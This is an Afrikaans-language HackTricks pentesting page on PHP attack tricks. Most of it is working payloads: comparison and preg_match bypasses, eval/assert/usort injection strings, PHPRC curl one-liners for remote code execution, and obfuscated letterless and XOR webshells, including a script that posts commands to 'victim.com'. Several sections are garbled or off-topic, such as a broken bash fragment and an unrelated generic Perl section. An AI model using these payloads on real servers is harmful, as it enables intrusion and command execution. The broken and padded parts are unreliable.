hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

# PHP Truuks

<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.

</details>

## Koekies algemene plek:

Dit is ook geldig vir phpMyAdmin-koekies.

Koekies:
```
PHPSESSID
phpMyAdmin
```
Liggings:
```
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Omseil PHP-vergelykings

### Los vergelykings/Type Juggling ( == )

As `==` in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie soos verwag gedra nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omskep is. As jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy `===` gebruik.

PHP-vergelykingstabelle: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)

![](<../../../.gitbook/assets/image (40) (1).png>)

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

* `"string" == 0 -> True` 'n String wat nie met 'n nommer begin nie, is gelyk aan 'n nommer
* `"0xAAAA" == "43690" -> True` Strings wat uit nommers in desimale of heksadesimale formaat bestaan, kan vergelyk word met ander nommers/strings met 'n True-resultaat as die nommers dieselfde was (nommers in 'n string word geïnterpreteer as nommers)
* `"0e3264578" == 0 --> True` 'n String wat met "0e" begin en deur enigiets gevolg word, sal gelyk wees aan 0
* `"0X3264578" == 0X --> True` 'n String wat met "0" begin en deur enige letter gevolg word (X kan enige letter wees) en deur enigiets gevolg word, sal gelyk wees aan 0
* `"0e12334" == "0" --> True` Dit is baie interessant omdat jy in sommige gevalle die string-inset van "0" en 'n inhoud wat gehash en daarmee vergelyk word, kan beheer. Daarom, as jy 'n waarde kan voorsien wat 'n hash sal skep wat met "0e" begin en sonder enige letter is, kan jy die vergelyking omseil. Jy kan **reeds gehashte strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Enige letter in 'n string is gelyk aan int 0

Meer inligting by [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)

### **in\_array()**

**Type Juggling** beïnvloed ook die `in_array()`-funksie standaard (jy moet die derde argument op waar stel om 'n streng vergelyking te maak):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
```
### strcmp()/strcasecmp()

Indien hierdie funksie gebruik word vir **enige verifikasie kontrole** (soos die wagwoordkontrole) en die gebruiker beheer een kant van die vergelyking, kan hy 'n leë reeks stuur in plaas van 'n string as die waarde van die wagwoord (`https://example.com/login.php/?username=admin&password[]=`) en hierdie kontrole omseil:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
Dieselfde fout kom voor met `strcasecmp()`

### Streng tipe jonglering

Selfs as `===` gebruik word, kan daar foute wees wat die vergelyking vatbaar maak vir tipe jonglering. Byvoorbeeld, as die vergelyking die data omskakel na 'n ander tipe objek voordat dit vergelyk word:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)

**`preg_match()`** kan gebruik word om **gebruikersinvoer te valideer** (dit **kontroleer** of enige **woord/regex** van 'n **swartlys** teenwoordig is in die **gebruikersinvoer** en as dit nie is nie, kan die kode voortgaan met sy uitvoering).

#### Nuwe lyn omseiling

Maar wanneer die begin van die regexp bepaal word, **kontroleer `preg_match()` slegs die eerste lyn van die gebruikersinvoer**, dus as jy op een of ander manier die invoer in **verskeie lyne kan stuur**, kan jy hierdie kontrole omseil. Voorbeeld:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
```
Om hierdie kontrole te omseil, kan jy die waarde stuur met nuwe lyne urlencoded (`%0A`) of as jy JSON-data kan stuur, stuur dit in verskeie lyne:
```php
{
"cmd": "cat /etc/passwd"
}
```
Vind 'n voorbeeld hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)

#### **Lengte fout omseil**

(Die omseil is blykbaar probeer op PHP 5.2.5 en ek kon dit nie werk kry op PHP 7.3.15 nie)\
As jy 'n geldige baie **groot inset** na `preg_match()` kan stuur, sal dit **nie in staat wees om dit te verwerk** en jy sal in staat wees om die toets te **omseil**. Byvoorbeeld, as dit 'n JSON op 'n swartlys plaas, kan jy stuur:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
#### ReDoS Bypass

Truuk vanaf: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)


<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>

In kort gebeur die probleem omdat die `preg_*` funksies in PHP bou op die [PCRE-biblioteek](http://www.pcre.org/). In PCRE word sekere regulêre uitdrukkings deur middel van baie herhalende oproepe aangepas, wat baie stakruimte gebruik. Dit is moontlik om 'n limiet te stel op die aantal herhalings wat toegelaat word, maar in PHP is hierdie limiet [standaard 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), wat meer is as wat in die stak pas.

[Hierdie Stackoverflow-draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) is ook gekoppel in die pos waar daar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\
**Stuur 'n inset wat die regex 100\_000+ herhalings laat doen, wat SIGSEGV veroorsaak, die `preg_match()` funksie laat `false` terugkeer en sodoende die toepassing laat dink dat ons inset nie skadelik is nie, en aan die einde van die payload die verrassing gooi soos `{system(<verybadcommand>)}` om SSTI --> RCE --> vlag te kry :)**.

Wel, in regex-terme doen ons eintlik nie 100k "herhalings" nie, maar eerder tel ons "terugspoortreeks", wat soos die [PHP-dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) dit stel, standaard 1\_000\_000 (1M) is in die `pcre.backtrack_limit` veranderlike.\
Om dit te bereik, sal `'X'*500_001` lei tot 1 miljoen terugspoortreeks (500k vorentoe en 500k agtertoe):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### Tipe Jonglering vir PHP obfuskasie

Type jonglering is 'n tegniek wat gebruik word vir PHP obfuskasie. Dit behels die manipulasie van die tipe van 'n waarde om dit te laat lyk asof dit 'n ander tipe is. Hierdie tegniek kan gebruik word om kode te verberg en te verwar, wat dit moeiliker maak vir aanvallers om die ware funksionaliteit van die kode te verstaan.

In PHP, word tipes geïdentifiseer deur die waardes wat hulle verteenwoordig. Byvoorbeeld, 'n string kan geïdentifiseer word deur aanhalingstekens rondom die waarde te plaas, terwyl 'n getal geen aanhalingstekens het nie. Deur die tipe van 'n waarde te manipuleer, kan 'n aanvaller die kode moeiliker maak om te ontleed en te verstaan.

Hier is 'n voorbeeld van hoe tipe jonglering in PHP gebruik kan word:

```php
$var1 = "123";
$var2 = 123;

if ($var1 == $var2) {
    echo "Die waardes is gelyk";
} else {
    echo "Die waardes is nie gelyk nie";
}
```

In hierdie voorbeeld sal die uitset "Die waardes is gelyk" wees, alhoewel die twee veranderlikes verskillende tipes het. Dit is omdat PHP outomaties probeer om die tipes van die waardes aan te pas om hulle te vergelyk. Hierdie gedrag kan gebruik word om kode te obfuskasie deur die tipe van waardes te manipuleer.

Dit is belangrik om te verstaan dat tipe jonglering nie 'n veilige manier is om kode te obfuskasie nie. Dit kan die kode moeiliker maak om te lees, maar dit sal nie die kode volledig beskerm teen 'n bekwame aanvaller nie. Dit is slegs een van die vele tegnieke wat gebruik kan word in 'n algehele obfuskasie-strategie.
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## Voer uit na omskakeling (EAR)

As PHP na 'n ander bladsy omskakel, maar geen **`die`** of **`exit`** funksie word **geroep nadat die `Location`-kop ingestel is nie**, gaan PHP voort om uit te voer en die data aan die liggaam toe te voeg:
```php
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Meer truuks

* **register\_globals**: In **PHP < 4.1.1.1** of as dit verkeerd gekonfigureer is, kan **register\_globals** aktief wees (of hul gedrag word nageboots). Dit impliseer dat in globale veranderlikes soos $\_GET, as hulle 'n waarde het bv. $\_GET\["param"]="1234", kan jy dit toegang via **$param. Deur dus HTTP parameters te stuur, kan jy veranderlikes oorskryf** wat binne die kode gebruik word.
* Die **PHPSESSION-koekies van dieselfde domein word in dieselfde plek gestoor**, daarom as binne 'n domein **verskillende koekies in verskillende paaie gebruik word**, kan jy maak dat 'n paadjie **die koekie van die paadjie toegang** deur die waarde van die ander paadjie se koekie in te stel.\
Op hierdie manier, as **beide paadjies 'n veranderlike met dieselfde naam toegang**, kan jy maak dat die **waarde van daardie veranderlike in paadjie1 van toepassing is op paadjie2**. En dan sal paadjie2 die veranderlikes van paadjie1 as geldig beskou (deur die koekie die naam te gee wat daarmee ooreenstem in paadjie2).
* Wanneer jy die **gebruikersname** van die gebruikers van die masjien het, kyk na die adres: **/\~\<GEBRUIKERSNAAM>** om te sien of die php-direktorieë geaktiveer is.
* [**LFI en RCE met behulp van php wrappers**](../../../pentesting-web/file-inclusion/) 

### password\_hash/password\_verify

Hierdie funksies word tipies gebruik in PHP om **hassies van wagwoorde te genereer** en om te **kontroleer** of 'n wagwoord korrek is in vergelyking met 'n hassie.\
Die ondersteunde algoritmes is: `PASSWORD_DEFAULT` en `PASSWORD_BCRYPT` (begin met `$2y$`). Let daarop dat **PASSWORD\_DEFAULT dikwels dieselfde as PASSWORD\_BCRYPT is**. En tans het **PASSWORD\_BCRYPT** 'n **groottebeperking in die inset van 72 byte**. Daarom, as jy iets groter as 72 byte met hierdie algoritme probeer hassie, sal slegs die eerste 72B gebruik word:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### HTTP-koppele om PHP-foute te misbruik

As 'n **PHP-bladsy foute druk en gebruikersinvoer terugvoer**, kan die gebruiker die PHP-bediener laat terugsit **inhoud wat lank genoeg is**, sodat wanneer dit probeer om die koppele by die antwoord te voeg, die bediener 'n fout sal gooi.\
In die volgende scenario het die **aanvaller die bediener groot foute laat gooi**, en soos u kan sien op die skerm, kon PHP nie **die kopinligting wysig nie** (soos byvoorbeeld die CSP-kop is nie na die gebruiker gestuur nie):

![](<../../../.gitbook/assets/image (465).png>)

## Kode-uitvoering

**stelsel("ls");**\
**\`ls\`;**\
**shell\_exec("ls");**

[Kyk hier vir meer nuttige PHP-funksies](php-useful-functions-disable\_functions-open\_basedir-bypass/)
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Om die kode in die "vervang" argument uit te voer, is ten minste een ooreenstemming nodig.\
Hierdie opsie van preg\_replace is **verouderd vanaf PHP 5.5.0.**

### **RCE via Eval()**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
```
### **RCE via Assert()**

Hierdie funksie binne php stel jou in staat om **kode uit te voer wat in 'n string geskryf is** om sodoende **waar of vals terug te gee** (en afhangend hiervan die uitvoering te verander). Gewoonlik word die gebruiker se veranderlike in die middel van 'n string ingevoeg. Byvoorbeeld:\
`assert("strpos($_GET['page']),'..') === false")` --> In hierdie geval kan jy **RCE** verkry deur:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Jy sal die kode se sintaks moet **breek**, jou **payload** byvoeg, en dit dan weer **regmaak**. Jy kan **logiese operasies** soos "**en**" of "%26%26" of "|" gebruik. Let daarop dat "of", "||" nie werk nie, want as die eerste voorwaarde waar is, sal ons payload nie uitgevoer word nie. Op dieselfde manier werk ";" nie, omdat ons payload nie uitgevoer sal word nie.

**Ander opsie** is om die uitvoering van die opdrag by die string te voeg: `'.highlight_file('.passwd').'`

**Ander opsie** (as jy die interne kode het) is om 'n sekere veranderlike te wysig om die uitvoering te verander: `$file = "hola"`

### **RCE via usort()**

Hierdie funksie word gebruik om 'n lys items te sorteer deur 'n spesifieke funksie te gebruik.\
Om hierdie funksie te misbruik:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
```

```php
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
Jy kan ook **//** gebruik om die res van die kode te kommentaar.

Om die aantal hakies wat jy moet sluit te bepaal:

* `?order=id;}//`: ons kry 'n foutboodskap (`Parse error: syntax error, unexpected ';'`). Ons mis waarskynlik een of meer hakies.
* `?order=id);}//`: ons kry 'n **waarskuwing**. Dit lyk reg.
* `?order=id));}//`: ons kry 'n foutboodskap (`Parse error: syntax error, unexpected ')' i`). Ons het waarskynlik te veel sluitende hakies.

### **RCE via .httaccess**

As jy 'n **.htaccess** kan **oplaai**, kan jy verskeie dinge instel en selfs kode uitvoer (deur te konfigureer dat lêers met die .htaccess-uitbreiding **uitgevoer** kan word).

Verskillende .htaccess-skulpe kan [hier](https://github.com/wireghoul/htshells) gevind word.

### RCE via Env Variables

As jy 'n kwesbaarheid vind wat jou in staat stel om **omgewingsveranderlikes in PHP te wysig** (en nog een om lêers op te laai, alhoewel dit dalk omseil kan word deur meer navorsing), kan jy hierdie gedrag misbruik om **RCE** te kry.

* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hierdie omgewingsveranderlike stel jou in staat om arbitrêre biblioteke te laai wanneer jy ander binêre lêers uitvoer (alhoewel dit in hierdie geval dalk nie werk nie).
* **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasie-lêer** te vind, wat gewoonlik `php.ini` genoem word. As jy jou eie konfigurasie-lêer kan oplaai, gebruik dan `PHPRC` om PHP daarheen te verwys. Voeg 'n **`auto_prepend_file`**-inskrywing by wat 'n tweede opgelaai lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP-kode wat dan deur die PHP-uitvoeringstyd voor enige ander kode uitgevoer** word.
1. Laai 'n PHP-lêer op wat ons skelkode bevat
2. Laai 'n tweede lêer op wat 'n **`auto_prepend_file`**-riglyn bevat wat die PHP-voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer
3. Stel die `PHPRC`-veranderlike in op die lêer wat ons in stap 2 opgelaai het.
* Kry meer inligting oor hoe om hierdie ketting uit te voer [**uit die oorspronklike verslag**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - nog 'n opsie
* As jy **nie lêers kan oplaai nie**, kan jy in FreeBSD die "lêer" `/dev/fd/0` gebruik wat die **`stdin`** bevat, wat die **liggaam** van die versoek wat na die `stdin` gestuur is, is:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* Of om RCE te kry, aktiveer **`allow_url_include`** en voeg 'n lêer met **base64 PHP-kode** voor:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* Tegniek [**uit hierdie verslag**](https://vulncheck.com/blog/juniper-cve-2023-36845).

## PHP Statische analise

Kyk of jy kode kan invoeg in oproepe na hierdie funksies (van [hier](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
As jy 'n PHP-toepassing aan die debug is, kan jy foutafdrukke globaal aktiveer in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en Apache te herlaai: `sudo systemctl restart apache2`

### Ontkluwing van PHP-kode

Jy kan die webwerf [www.unphp.net](http://www.unphp.net) gebruik om PHP-kode te ontkluur.

## PHP Wrappers & Protokolle

PHP Wrappers en protokolle kan jou in staat stel om skryf- en leesbeskerming in 'n stelsel te omseil en dit te kompromitteer. Vir [meer inligting, besoek hierdie bladsy](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).

## Xdebug ongeagte RCE

As jy sien dat Xdebug geaktiveer is in 'n `phpconfig()` uitset, moet jy probeer om RCE te kry deur [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) te gebruik.

## Veranderlike veranderlikes
```php
$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE misbruik van nuwe $\_GET\["a"]\($\_GET\["b"])

As jy op 'n bladsy 'n **nuwe voorwerp van 'n willekeurige klas kan skep**, kan jy moontlik RCE verkry. Kyk na die volgende bladsy om te leer hoe:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}

## Voer PHP uit sonder letters

[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)

### Gebruik van oktaal
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**

XOR (Exclusive OR) is 'n logiese operasie wat gebruik word in kriptografie en rekenaarnetwerke. Dit is 'n bietjie-oor-bietjie operasie wat twee bietjiepatrone vergelyk en 'n nuwe bietjiepatroon genereer volgens 'n spesifieke reël.

In kriptografie word XOR gebruik om data te versleutel en te ontsluit. Dit is 'n effektiewe manier om data te beskerm teen ongeoorloofde toegang. XOR kan ook gebruik word om data te versteek of te verberg.

In rekenaarnetwerke word XOR gebruik om data te verifieer en te beskerm teen foutiewe oordrag. Dit kan gebruik word om data-integriteit te verseker en om te verseker dat data korrek oorgedra word.

XOR is 'n nuttige tegniek wat in verskeie toepassings gebruik kan word. Dit is belangrik vir 'n hacker om die konsep van XOR te verstaan en hoe dit gebruik kan word in verskillende situasies.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR maklike skuldkode

Volgens [**hierdie skryfstuk**](https://mgp25.com/ctf/Web-challenge/) is dit moontlik om 'n maklike skuldkode op hierdie manier te genereer:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
So, as jy **arbitrêre PHP sonder syfers en letters kan uitvoer**, kan jy 'n versoek stuur soos die volgende om misbruik te maak van daardie payload om arbitrêre PHP uit te voer:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
Vir 'n meer diepgaande verduideliking, kyk na [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)

### XOR Shellcode (binne eval)
```bash
#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
```

```php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```

```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Perl soos

Perl is 'n kragtige skriptingtaal wat dikwels gebruik word vir webontwikkeling en stelseladministrasie. Dit bied 'n ryk stel funksies en biblioteke wat dit 'n gewilde keuse maak vir programmeerders. Hier is 'n paar Perl-truuks wat jy kan gebruik om jou webtoepassings te verbeter:

#### Regulêre uitdrukkings

Perl bied 'n kragtige regulêre uitdrukkingsbiblioteek wat dit maklik maak om te soek, vervang en manipuleer in teks. Jy kan dit gebruik om patrone in jou webinhoud te vind en te verander.

```perl
if ($string =~ /patroon/) {
    # Doen iets as die patroon gevind word
}
```

#### CGI-programmering

Perl is baie gewild vir CGI-programmering, wat dit moontlik maak om dinamiese webinhoud te skep. Jy kan vormdata ontvang en verwerk, en dit gebruik om dinamiese webbladsye te genereer.

```perl
use CGI;

my $cgi = CGI->new;
my $name = $cgi->param('name');

print $cgi->header;
print "Hallo, $name!";
```

#### Databasisinteraksie

Perl het 'n verskeidenheid databasisbiblioteke wat dit maklik maak om met databasisse te kommunikeer. Jy kan dit gebruik om data uit 'n databasis te haal, dit te wysig en nuwe data in te voeg.

```perl
use DBI;

my $dbh = DBI->connect("DBI:mysql:database=naam;host=host", "gebruiker", "wagwoord");
my $sth = $dbh->prepare("SELECT * FROM tabelle");
$sth->execute;

while (my $row = $sth->fetchrow_hashref) {
    # Doen iets met die data
}

$dbh->disconnect;
```

#### Lêerhantering

Perl bied 'n kragtige lêerhanteringsbiblioteek wat dit maklik maak om lêers te skep, te lees en te skryf. Jy kan dit gebruik om tekslêers te manipuleer of om lêers vanaf die bediener af te laai.

```perl
open(my $file, '>', 'lêernaam.txt');
print $file "Inhoud van die lêer";
close($file);
```

Hierdie is slegs 'n paar van die kragtige funksies wat Perl bied vir webontwikkeling. Deur hierdie truuks te gebruik, kan jy jou webtoepassings verbeter en meer doeltreffend maak.
```php
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.

</details>